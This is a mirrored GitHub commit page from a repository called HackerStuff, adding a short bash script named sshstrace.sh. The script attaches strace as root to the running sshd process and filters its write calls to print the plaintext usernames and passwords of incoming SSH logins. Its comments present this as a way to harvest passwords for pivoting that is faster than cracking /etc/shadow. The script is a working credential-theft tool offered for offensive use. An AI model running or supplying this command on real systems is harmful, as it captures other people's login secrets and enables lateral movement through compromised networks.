mirror of
https://github.com/0xdade/HackerStuff.git
synced 2025-10-29 16:59:27 +00:00
strace to print user / password of ssh logins
This commit is contained in:
parent
e81aae2a1b
commit
5f45ca1e0f
8
Get-Passwords/sshstrace.sh
Normal file
8
Get-Passwords/sshstrace.sh
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# In a facepalm revelation, it has come to my attention that you can use strace as root to collect passwords from sshd
|
||||||
|
# Passwords are useful for pivoting and can be significantly faster than cracking /etc/shadow
|
||||||
|
# I've noticed some passwords seem to have an 'r' inserted before them. No idea why...
|
||||||
|
#
|
||||||
|
|
||||||
|
strace -s 64 -fp `cat /var/run/sshd.pid` 2>&1 | grep --line-buffered -Eo 'write\(4, "\\0\\0\\0\\[0-9]*[^\]{2,}[^\\0]"' | sed -e 's/write(4, "\\0\\0\\0\\[0-9]*\(.*\)"/\1/g'
|
||||||
Loading…
x
Reference in New Issue
Block a user